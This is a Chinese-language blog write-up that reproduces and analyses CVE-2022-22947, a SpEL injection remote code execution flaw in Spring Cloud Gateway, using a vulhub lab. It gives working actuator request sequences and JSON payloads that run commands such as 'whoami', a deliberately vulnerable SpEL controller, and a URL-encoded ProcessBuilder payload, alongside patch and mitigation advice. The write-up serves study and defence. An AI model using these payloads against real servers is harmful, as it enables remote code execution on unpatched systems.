参考链接:https://blog.csdn.net/xiaobai_20190815/article/details/124045768
http://news.558idc.com/290335.html
Java 安全-手把手教你SPEL表达式注入_4ct10n的博客-CSDN博客_spel注入
一、漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
3月1日,VMware发布安全公告,Spring Cloud Gateway中存在远程代码执行漏洞(CVE-2022-22947),该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码。
二、影响版本
Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
Spring Cloud Gateway 其它不支持的、已不再更新的版本
三、环境搭建
从vulhub下载Vulhub - Docker-Compose file for vulnerability environment漏洞库后,找到CVE-2022-22947直接启动
docker-compose up -d
四、漏洞复现
1、首先,修改GET /actuator请求,确定actuator端口已经开启
2、修改get请求,获取路由信息GET /actuator/gateway/routes/:
当前只有路由index,该路有默认跳转到uri:http://example.com:80
2、然后,构造一个post请求包,POST /actuator/gateway/routes/test 添加一个包含恶意SpEL表达式的路由:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
3、刷新路由,POST /actuator/gateway/refresh
2、获取路由信息GET /actuator/gateway/routes/,新增路由test成功:
3、构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root :
最后,删除我们前面构造的路由,DELETE /actuator/gateway/routes/test
五、解决方法
1、升级更新到以下版本:
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7
2、缓解措施:
1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.securit
其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,#{1+1}
查看返回头,表达式被成功执行:
将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}
。
虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。
使用动态创建的方法试试。
使用以下payload请求创建路由:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
刷新路由,发现代码成功执行。
原理分析
我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。
我们对exec执行下个断点,观察程序的调用栈。
前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。
简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate
包中的refresh()方法
后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties
操作:
具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑
第三个参数为SpEL的parse。
随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():
在getValue中对字符串进行trim操作,同时判断字符串以#{
开始并以}
结束:
如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext
作为context, 随后对配置文件的value进行标准SpEL解析。
到这里就基本理解了漏洞触发的原因
SPEL 漏洞
该漏洞的漏洞形态类似于命令注入,因此之前该漏洞归为命令注入类。看一下最简单的漏洞样例。
@RequestMapping("/test")
@ResponseBody
public String test(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
将输入的参数直接当作表达式解析的参数,在解析过程中将造成命令执行。
http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
当然也可以采用T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性,也是可以是想相同的功能。
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")");
Object value = exp.getValue();